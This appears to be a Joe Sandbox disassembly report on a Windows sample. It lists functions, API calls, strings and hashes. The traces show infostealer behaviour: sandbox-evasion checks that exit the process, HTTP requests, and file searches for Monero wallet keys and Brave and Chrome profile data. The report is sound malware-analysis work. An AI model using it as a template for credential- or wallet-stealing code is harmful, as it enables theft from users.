Part of subcall function 00E41110: ExitProcess.KERNEL32 ref: 00E41143

Part of subcall function 00E41220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E4123E
Part of subcall function 00E41220: __aulldiv.LIBCMT ref: 00E41258
Part of subcall function 00E41220: __aulldiv.LIBCMT ref: 00E41266
Part of subcall function 00E41220: ExitProcess.KERNEL32 ref: 00E41294

Part of subcall function 00E56770: GetUserDefaultLangID.KERNEL32 ref: 00E56774

Part of subcall function 00E41190: ExitProcess.KERNEL32 ref: 00E411C6

Part of subcall function 00E57850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E411B7), ref: 00E57880
Part of subcall function 00E57850: RtlAllocateHeap.NTDLL(00000000), ref: 00E57887
Part of subcall function 00E57850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E5789F

Part of subcall function 00E578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E57910
Part of subcall function 00E578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E57917
Part of subcall function 00E578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E5792F

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01CB99E0,?,00E6110C,?,00000000,?,00E61110,?,00000000,00E60AEF), ref: 00E56ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E56AE8
CloseHandle.KERNEL32(00000000), ref: 00E56AF9
Sleep.KERNEL32(00001770), ref: 00E56B04
CloseHandle.KERNEL32(?,00000000,?,01CB99E0,?,00E6110C,?,00000000,?,00E61110,?,00000000,00E60AEF), ref: 00E56B1A
ExitProcess.KERNEL32 ref: 00E56B22

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 053549517661d10ae9fe141f8f38ff61aa7293af62392b8faeb0b9dacf751397
Instruction ID: 58d1fb735de1327c0009e00060526f7708dddec3a3416fd520d0f8d2e2a48099
Opcode Fuzzy Hash: 053549517661d10ae9fe141f8f38ff61aa7293af62392b8faeb0b9dacf751397
Instruction Fuzzy Hash: B23134719042189BDB04F7F0EC56BEE77B8AF44342F446A29F942B3182DF745949C7A1

Function 00E41220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E4123E
__aulldiv.LIBCMT ref: 00E41258
__aulldiv.LIBCMT ref: 00E41266
ExitProcess.KERNEL32 ref: 00E41294

Strings

@, xrefs: 00E41233

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 9e003c81df87e20d11ede1e58b78528376e2f56f3046681e002b333ddf50632f
Instruction ID: 9ec349e3804a3ea085c16a24923df563ba0e6792d6b9cd0cef0668f6b1037f8e
Opcode Fuzzy Hash: 9e003c81df87e20d11ede1e58b78528376e2f56f3046681e002b333ddf50632f
Instruction Fuzzy Hash: F4014FB0E44308FADF10DBD0DC49B9EB7B8AB04705F209445E705F6180D7B455859759

Function 00E56AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01CB99E0,?,00E6110C,?,00000000,?,00E61110,?,00000000,00E60AEF), ref: 00E56ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E56AE8
CloseHandle.KERNEL32(00000000), ref: 00E56AF9
Sleep.KERNEL32(00001770), ref: 00E56B04
CloseHandle.KERNEL32(?,00000000,?,01CB99E0,?,00E6110C,?,00000000,?,00E61110,?,00000000,00E60AEF), ref: 00E56B1A
ExitProcess.KERNEL32 ref: 00E56B22

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 6dc4ccd388195efcfa364ca953cb59e802be9f51519b149e680abb2ce72f6351
Instruction ID: 5c4cd7c00104e168791e57039752d25ce143b7332dd769a63a2ede72fb5a5f13
Opcode Fuzzy Hash: 6dc4ccd388195efcfa364ca953cb59e802be9f51519b149e680abb2ce72f6351
Instruction Fuzzy Hash: 29F09A30A04209EEEB20ABA0DC0ABBD7BB4FB04302F906D15BD43B3082CBB51508D661

Function 00E447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E44839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00E44849

Strings

<, xrefs: 00E447C9

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d89b6aff81fe5bdf903f0cdff34c6d6abfa984605532296e5066fec970449f10
Instruction ID: 1c35778cf7ce90132c7fa331b1a9f14fb500170868e3ed63d810710d623c5b1a
Opcode Fuzzy Hash: d89b6aff81fe5bdf903f0cdff34c6d6abfa984605532296e5066fec970449f10
Instruction Fuzzy Hash: D9213EB1D00209ABDF14DFA5EC49ADE7B74FB44320F108625F955B7291EB706A09CB91

Function 00E551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E46280: InternetOpenA.WININET(00E60DFE,00000001,00000000,00000000,00000000), ref: 00E462E1
Part of subcall function 00E46280: StrCmpCA.SHLWAPI(?,01CBF318), ref: 00E46303
Part of subcall function 00E46280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E46335
Part of subcall function 00E46280: HttpOpenRequestA.WININET(00000000,GET,?,01CBE7B0,00000000,00000000,00400100,00000000), ref: 00E46385
Part of subcall function 00E46280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E463BF
Part of subcall function 00E46280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E463D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E55228

Strings

ERROR, xrefs: 00E55273
ERROR, xrefs: 00E5521A

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: bf724c35bb1a3fd7b6b59c265352fc7339401a1e2b234477d4e7ef1fe09c0447
Instruction ID: 453a1c1b3308a3a5b472a846854f7c37c2c6b81b267a832fb6fbc83846b0aa75
Opcode Fuzzy Hash: bf724c35bb1a3fd7b6b59c265352fc7339401a1e2b234477d4e7ef1fe09c0447
Instruction Fuzzy Hash: 9C112131910108A7CB18FF60DD56AED77B8AF50341F445A68FC1A66592EF346B09C791

Function 00E41110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E4112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00E41132
ExitProcess.KERNEL32 ref: 00E41143

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 28a04255950d655695b9dffc3f377ba2cbf66ecbd3a74e4215ed0998b7b60e32
Instruction ID: 33b8028139e1a1e8ee7bd3493d9f18d665dda40ab5f286cda4f03706911c4c1d
Opcode Fuzzy Hash: 28a04255950d655695b9dffc3f377ba2cbf66ecbd3a74e4215ed0998b7b60e32
Instruction Fuzzy Hash: 48E0E670A59308FFEB20ABA1AC0AB0D76B8AB04B45F105095F749775C4D6B926409799

Function 00E410A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00E410B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00E410F7

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 5d792c1a7f1a9ea46d9e7948ff184d658276c10939ea7efe5096e3c59f0ec8db
Instruction ID: 420145111ff84e13b80cdf09ff62479cedbab47d73a79048aa75cc3f48330529
Opcode Fuzzy Hash: 5d792c1a7f1a9ea46d9e7948ff184d658276c10939ea7efe5096e3c59f0ec8db
Instruction Fuzzy Hash: 2DF0E271641208FBEB149AA4AC49FAFB7E8E705B15F301848F944F3280D5729E40DBA0

Function 00E41190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E57910
Part of subcall function 00E578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E57917
Part of subcall function 00E578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E5792F

Part of subcall function 00E57850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E411B7), ref: 00E57880
Part of subcall function 00E57850: RtlAllocateHeap.NTDLL(00000000), ref: 00E57887
Part of subcall function 00E57850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E5789F

ExitProcess.KERNEL32 ref: 00E411C6

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 28b8d38b96ee3ce4dcdb1dbd7b72ad1041fbfc5ece8891ac12c0e7d624b4787d
Instruction ID: 8ddbc43f21846d98dd8b98dc5475d1499045ce6c335b5ae8343ce8310ba91de2
Opcode Fuzzy Hash: 28b8d38b96ee3ce4dcdb1dbd7b72ad1041fbfc5ece8891ac12c0e7d624b4787d
Instruction Fuzzy Hash: 58E0ECB5A1821197CE1473B0BD0AB2A32DC5B1434AF042825BE85B3606FE2AE8548669

Non-executed Functions

Function 00E538B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E538CC
FindFirstFileA.KERNEL32(?,?), ref: 00E538E3
lstrcat.KERNEL32(?,?), ref: 00E53935
StrCmpCA.SHLWAPI(?,00E60F70), ref: 00E53947
StrCmpCA.SHLWAPI(?,00E60F74), ref: 00E5395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00E53C67
FindClose.KERNEL32(000000FF), ref: 00E53C7C

Strings

%s\%s, xrefs: 00E5397A
%s\%s\%s, xrefs: 00E53A4A
%s%s, xrefs: 00E53AAD
%s\*, xrefs: 00E538C0
%s\%s, xrefs: 00E53A6F

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: b034259d3abf24bc64beee693d2abcf34be9cc9d604241de2783a8ddc367896c
Instruction ID: 15e0a4ae95f09c547ebb84faa3a6c0968830b428948d695a7523300b99b08a79
Opcode Fuzzy Hash: b034259d3abf24bc64beee693d2abcf34be9cc9d604241de2783a8ddc367896c
Instruction Fuzzy Hash: 26A141B1A00218DBDB34DF64DC85FEE73B8BB88301F044989A94DA7145EB759B88CF61

Function 00E4BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

FindFirstFileA.KERNEL32(00000000,?,00E60B32,00E60B2B,00000000,?,?,?,00E613F4,00E60B2A), ref: 00E4BEF5
StrCmpCA.SHLWAPI(?,00E613F8), ref: 00E4BF4D
StrCmpCA.SHLWAPI(?,00E613FC), ref: 00E4BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4C7BF
FindClose.KERNEL32(000000FF), ref: 00E4C7D1

Strings

Brave, xrefs: 00E4C102
Google Chrome, xrefs: 00E4C634
Preferences, xrefs: 00E4C11E
\Brave\Preferences, xrefs: 00E4C1DB

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
